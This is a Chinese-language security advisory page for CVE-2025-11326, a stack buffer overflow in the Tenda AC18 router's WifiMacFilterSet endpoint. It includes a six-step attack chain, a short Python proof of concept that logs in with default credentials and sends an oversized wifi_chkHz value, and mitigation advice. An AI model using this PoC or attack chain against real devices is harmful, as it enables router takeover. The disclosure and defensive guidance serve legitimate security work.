IPBUF安全漏洞报告
English
CVE-2025-11326 CVSS 8.8 高危

CVE-2025-11326:Tenda AC18 WifiMacFilterSet栈缓冲区溢出漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-11326
漏洞类型
栈缓冲区溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda AC18无线路由器

相关标签

栈缓冲区溢出Tenda AC18物联网安全路由器漏洞远程代码执行WifiMacFilterSetwifi_chkHzCVE-2025-11326高危漏洞固件安全

漏洞概述

CVE-2025-11326是Tenda AC18无线路由器固件版本15.03.05.19(6318)中存在的栈缓冲区溢出漏洞。该漏洞位于路由器管理接口的/goform/WifiMacFilterSet处理逻辑中,具体涉及对参数wifi_chkHz的处理过程。攻击者可以通过远程方式向该接口发送精心构造的恶意请求,利用未对输入参数长度进行充分校验的缺陷,触发栈缓冲区溢出,从而覆盖栈上的返回地址或关键变量,实现任意代码执行或拒绝服务攻击。该漏洞的CVSS 3.1评分为8.8分,属于高危级别漏洞,其利用复杂度较低(AC:L),仅需低权限认证(PR:L),且无需用户交互(UI:N)。一旦成功利用,攻击者可获取对设备的完全控制权,对网络机密性、完整性和可用性均产生严重影响。由于该漏洞的利用代码已公开披露,物联网设备用户面临较高的现实威胁。Tenda AC18作为一款面向家庭和小型办公环境的双频无线路由器,广泛应用于各类网络环境中,其安全性问题可能导致整个局域网受到攻击。

技术细节

该漏洞的根因在于/goform/WifiMacFilterSet接口在处理wifi_chkHz参数时,未对该参数的长度进行有效校验便直接复制到栈上的固定大小缓冲区中。在固件版本15.03.05.19(6318)中,WifiMacFilterSet处理函数为wifi_chkHz分配了固定大小的栈缓冲区,但当接收到超过缓冲区容量的输入数据时,会发生栈缓冲区溢出。攻击者可通过构造超长wifi_chkHz参数值,覆盖栈帧中的返回地址和保存的寄存器值,从而劫持程序执行流程。由于该接口可通过HTTP网络请求远程访问(AV:N),且仅需低权限认证(PR:L),攻击者可以在登录路由器管理界面后发送恶意HTTP请求触发漏洞。成功利用后,攻击者可执行任意代码,获得设备root权限,进一步实施中间人攻击、植入后门或组建僵尸网络。该漏洞的完整利用代码已在GitHub上公开(noahze01/IoT-vulnerable仓库),降低了利用门槛。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过扫描网络发现目标Tenda AC18路由器,识别固件版本为15.03.05.19(6318),确认存在漏洞。
STEP 2
步骤2:获取认证凭证
利用默认凭据(如admin/admin)或通过暴力破解、社工等方式获取路由器的低权限管理访问权限。
STEP 3
步骤3:构造恶意请求
构造包含超长wifi_chkHz参数的HTTP POST请求,目标为/goform/WifiMacFilterSet接口。
STEP 4
步骤4:触发缓冲区溢出
发送恶意请求至目标路由器,超长参数覆盖栈缓冲区,劫持程序执行流程。
STEP 5
步骤5:执行任意代码
利用溢出执行shellcode,获取设备root权限,实现远程代码执行。
STEP 6
步骤6:后续利用
植入持久化后门、窃取网络流量、组建僵尸网络或作为内网渗透的跳板。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-11326 - Tenda AC18 Stack-based Buffer Overflow # Affected: Tenda AC18 firmware 15.03.05.19(6318) # Vulnerable endpoint: /goform/WifiMacFilterSet # Vulnerable parameter: wifi_chkHz TARGET_URL = "http://192.168.0.1" USERNAME = "admin" PASSWORD = "admin" def exploit(): # Step 1: Authenticate to the router session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET_URL}/login/Auth", data=login_data) # Step 2: Craft malicious payload for wifi_chkHz parameter # Overflow the stack buffer with a long string payload = "A" * 1024 # Buffer overflow payload # Step 3: Send the exploit request to the vulnerable endpoint exploit_data = { "wifi_chkHz": payload } response = session.post( f"{TARGET_URL}/goform/WifiMacFilterSet", data=exploit_data ) print(f"Exploit sent. Status: {response.status_code}") if __name__ == "__main__": exploit()

影响范围

Tenda AC18 15.03.05.19(6318)

防御指南

临时缓解措施
在官方修复固件发布前,建议采取以下临时缓解措施:1)修改路由器默认管理密码,使用强密码策略;2)限制路由器管理界面的访问范围,仅允许可信IP访问;3)关闭远程管理功能;4)在网络层面部署入侵检测系统(IDS)监控针对/goform/WifiMacFilterSet接口的异常请求;5)对wifi_chkHz等参数的长度进行网络层过滤;6)将Tenda AC18置于防火墙之后,限制外部网络对管理界面的直接访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表